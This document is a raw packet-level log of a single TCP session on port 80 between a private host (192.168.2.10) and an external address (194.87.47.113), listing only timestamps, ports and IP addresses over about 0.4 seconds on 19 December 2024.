Dec 19, 2024 08:21:29.326675892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.326745033 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.326781988 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.326781988 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.327457905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.327569962 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.327630997 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.328294992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.328425884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.329045057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.329119921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.329164982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.329164982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.329804897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.329941988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.330650091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.330702066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.330738068 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.330738068 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.331536055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.331548929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.331595898 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.332201004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.332349062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.332962990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.333070993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.333111048 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.333111048 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.333755970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.333870888 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.334552050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.334660053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.334693909 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.334693909 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.335345984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.335449934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.336126089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.336252928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.336292982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.336293936 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.336924076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.337027073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.337717056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.337837934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.337877035 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.337877035 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.338521004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.338632107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.339133024 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.339293957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.339395046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.340100050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.340172052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.340212107 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.340212107 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.340877056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.340986013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.341681004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.341804981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.341845036 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.341845036 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.342480898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.342538118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.343141079 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.343272924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.343399048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.344063997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.344139099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.344172955 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.344173908 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.344865084 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.344954014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.345637083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.345733881 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.345781088 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.345781088 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.412813902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.412934065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.413131952 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.413193941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.413233042 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.413233042 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.413918018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.414216995 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.414294958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.415142059 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.422681093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.422729015 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.422789097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.423150063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.423307896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.423870087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.423908949 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.423908949 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.423970938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.424633980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.427146912 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.457144022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.457210064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.457482100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.457571030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.457611084 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.457611084 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.458137035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.458204985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.458933115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.459136009 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.459403992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.459697962 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.459955931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.460011005 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.460011005 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.460500002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.460613012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.461364031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.461436987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.461469889 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.461469889 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.471942902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.472044945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.472336054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.472431898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.472464085 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.472464085 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.473148108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.473258972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.473822117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.473942041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.473977089 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.473977089 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.474704981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.474872112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.475132942 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.475474119 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.475688934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.476206064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.476298094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.476339102 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.476339102 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.512490034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.512545109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.512742043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.512821913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.512860060 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.512860060 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.513385057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.513500929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.514136076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.514261007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.514297009 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.514297009 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.514949083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.515065908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.515134096 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.515717030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.515851021 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.516514063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.516632080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.516664982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.516664982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.517290115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.517398119 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.518147945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.518223047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.518260002 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.518260002 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.518929958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.519005060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.519134998 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.519687891 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.519841909 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.520735979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.520749092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.520793915 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.520793915 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.521270990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.521379948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.522059917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.522145987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.522185087 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.522185087 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.522850990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.522974014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.523133993 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.523643017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.523746014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.524471045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.524559021 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.524597883 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.524597883 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.525273085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.525414944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.526021004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.526145935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.526189089 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.526189089 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.526804924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.526920080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.527131081 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.527590990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.527689934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.528393984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.528482914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.528538942 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.528538942 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.529179096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.529365063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.530010939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.530114889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.530150890 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.530150890 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.530774117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.530877113 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.531137943 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.531552076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.531660080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.532368898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.532526016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.532568932 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.532568932 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.533168077 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.533246040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.533945084 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.533966064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.534013033 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.534013033 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.534708023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.534843922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.535132885 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.535481930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.535677910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.536305904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.536417007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.536458015 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.536458015 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.537086964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.537214041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.537852049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.539134026 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.595139027 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.605159044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.605227947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.605508089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.605596066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.605635881 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.605637074 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.606288910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.606344938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.607017994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.607137918 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.614810944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.614927053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.615139961 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.615199089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.615405083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.616036892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.616087914 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.616087914 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.616239071 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.616934061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.619142056 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.649789095 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.649943113 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.650114059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.650158882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.650213003 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.650213003 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.650904894 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.650957108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.651144981 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.651751041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.651855946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.652400017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.652633905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.653220892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.653261900 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.653261900 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.653327942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.653932095 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.653999090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.655137062 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.658647060 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.663999081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.664088011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.664433956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.664496899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.665220976 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.665229082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.665268898 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.665541887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.665599108 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.665985107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.666084051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.666220903 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.666773081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.666887999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.667279005 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.667562008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.667752981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.668450117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.668493986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.668534994 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.668534994 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.704859972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.705066919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.705189943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.705311060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.705332041 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.705940008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.706049919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.706091881 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.706091881 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.706721067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.706830978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.707386971 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.707541943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.707611084 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.707707882 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.708376884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.708452940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.708767891 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.709144115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.709244967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.709873915 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.709911108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.710050106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.710716009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.710779905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.710818052 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.710818052 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.711473942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.711584091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.711704969 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.712308884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.712555885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.712601900 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.713313103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.713421106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.713512897 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.714097977 CET	80	49720	194.87.47.113	192.168.2.10
